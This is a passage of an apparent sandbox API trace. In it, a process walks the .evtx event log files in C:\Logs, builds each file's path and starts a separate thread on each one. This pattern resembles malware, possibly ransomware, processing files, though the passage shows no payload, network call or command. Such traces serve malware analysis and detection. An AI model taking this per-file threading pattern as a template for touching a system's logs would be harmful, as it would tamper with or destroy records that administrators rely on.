	[0073.224] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1
	[0073.225] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", _String2=".") returned 1
	[0073.225] wcscmp (_String1="Microsoft-Windows-CodeIntegrity%4Operational.evtx", _String2="..") returned 1
	[0073.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d60548
	[0073.225] wcscpy (in: _Dest=0x2d60548, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.225] wcscat (in: _Dest=0x2d60548, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.225] wcscat (in: _Dest=0x2d60548, _Source="Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx"
	[0073.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0073.226] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1
	[0073.226] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", _String2=".") returned 1
	[0073.226] wcscmp (_String1="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", _String2="..") returned 1
	[0073.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x2d79428
	[0073.226] wcscpy (in: _Dest=0x2d79428, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.226] wcscat (in: _Dest=0x2d79428, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.226] wcscat (in: _Dest=0x2d79428, _Source="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx"
	[0073.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0073.226] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1
	[0073.226] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", _String2=".") returned 1
	[0073.226] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", _String2="..") returned 1
	[0073.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d60348
	[0073.227] wcscpy (in: _Dest=0x2d60348, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.227] wcscat (in: _Dest=0x2d60348, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.227] wcscat (in: _Dest=0x2d60348, _Source="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx"
	[0073.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0073.227] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1
	[0073.227] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", _String2=".") returned 1
	[0073.227] wcscmp (_String1="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", _String2="..") returned 1
	[0073.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d5fec8
	[0073.228] wcscpy (in: _Dest=0x2d5fec8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.228] wcscat (in: _Dest=0x2d5fec8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.228] wcscat (in: _Dest=0x2d5fec8, _Source="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx"
	[0073.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5fec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0073.228] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1
	[0073.228] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", _String2=".") returned 1
	[0073.228] wcscmp (_String1="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", _String2="..") returned 1
	[0073.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d620
	[0073.228] wcscpy (in: _Dest=0x2d7d620, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.228] wcscat (in: _Dest=0x2d7d620, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.228] wcscat (in: _Dest=0x2d7d620, _Source="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx"
	[0073.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7d620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0073.229] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1
	[0073.229] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", _String2=".") returned 1
	[0073.229] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", _String2="..") returned 1
	[0073.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d60848
	[0073.229] wcscpy (in: _Dest=0x2d60848, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.229] wcscat (in: _Dest=0x2d60848, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.229] wcscat (in: _Dest=0x2d60848, _Source="Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx"
	[0073.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0073.230] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1
	[0073.230] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", _String2=".") returned 1
	[0073.230] wcscmp (_String1="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", _String2="..") returned 1
	[0073.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x2d63b98
	[0073.230] wcscpy (in: _Dest=0x2d63b98, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.230] wcscat (in: _Dest=0x2d63b98, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.230] wcscat (in: _Dest=0x2d63b98, _Source="Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx"
	[0073.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d63b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0073.231] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1
	[0073.231] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", _String2=".") returned 1
	[0073.231] wcscmp (_String1="Microsoft-Windows-Dhcp-Client%4Admin.evtx", _String2="..") returned 1
	[0073.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2d5a520
	[0073.231] wcscpy (in: _Dest=0x2d5a520, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.231] wcscat (in: _Dest=0x2d5a520, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.231] wcscat (in: _Dest=0x2d5a520, _Source="Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx"
	[0073.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5a520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0073.232] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1
	[0073.232] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", _String2=".") returned 1
	[0073.232] wcscmp (_String1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", _String2="..") returned 1
	[0073.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2d58fc8
	[0073.232] wcscpy (in: _Dest=0x2d58fc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.232] wcscat (in: _Dest=0x2d58fc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.232] wcscat (in: _Dest=0x2d58fc8, _Source="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx"
	[0073.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d58fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0073.233] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1
	[0073.233] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", _String2=".") returned 1
	[0073.233] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", _String2="..") returned 1
	[0073.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d60748
	[0073.233] wcscpy (in: _Dest=0x2d60748, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.233] wcscat (in: _Dest=0x2d60748, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.233] wcscat (in: _Dest=0x2d60748, _Source="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx"
	[0073.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0073.233] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1
	[0073.234] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", _String2=".") returned 1
	[0073.234] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", _String2="..") returned 1
	[0073.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7ac40
	[0073.234] wcscpy (in: _Dest=0x2d7ac40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.234] wcscat (in: _Dest=0x2d7ac40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.234] wcscat (in: _Dest=0x2d7ac40, _Source="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx"
	[0073.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7ac40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0073.234] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1
	[0073.234] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx", _String2=".") returned 1
	[0074.412] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx", _String2="..") returned 1
	[0074.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732ec0
	[0074.412] wcscpy (in: _Dest=0x4732ec0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.412] wcscat (in: _Dest=0x4732ec0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.412] wcscat (in: _Dest=0x4732ec0, _Source="Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx"
	[0074.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0074.412] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1
	[0074.413] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx", _String2=".") returned 1
	[0074.413] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx", _String2="..") returned 1
	[0074.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732fb0
	[0074.413] wcscpy (in: _Dest=0x4732fb0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.413] wcscat (in: _Dest=0x4732fb0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.413] wcscat (in: _Dest=0x4732fb0, _Source="Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx"
	[0074.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0074.413] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1
	[0074.413] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", _String2=".") returned 1
	[0074.413] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", _String2="..") returned 1
	[0074.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x2d5fdc8
	[0074.413] wcscpy (in: _Dest=0x2d5fdc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.413] wcscat (in: _Dest=0x2d5fdc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.413] wcscat (in: _Dest=0x2d5fdc8, _Source="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx"
	[0074.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5fdc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0074.414] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1
	[0074.414] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx", _String2=".") returned 1
	[0074.414] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx", _String2="..") returned 1
	[0074.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d5ffc8
	[0074.414] wcscpy (in: _Dest=0x2d5ffc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.414] wcscat (in: _Dest=0x2d5ffc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.414] wcscat (in: _Dest=0x2d5ffc8, _Source="Microsoft-Windows-International%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx"
	[0074.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5ffc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0074.415] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1
	[0074.415] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", _String2=".") returned 1
	[0074.415] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", _String2="..") returned 1
	[0074.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4733028
	[0074.415] wcscpy (in: _Dest=0x4733028, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.415] wcscat (in: _Dest=0x4733028, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.415] wcscat (in: _Dest=0x4733028, _Source="Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx"
	[0074.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
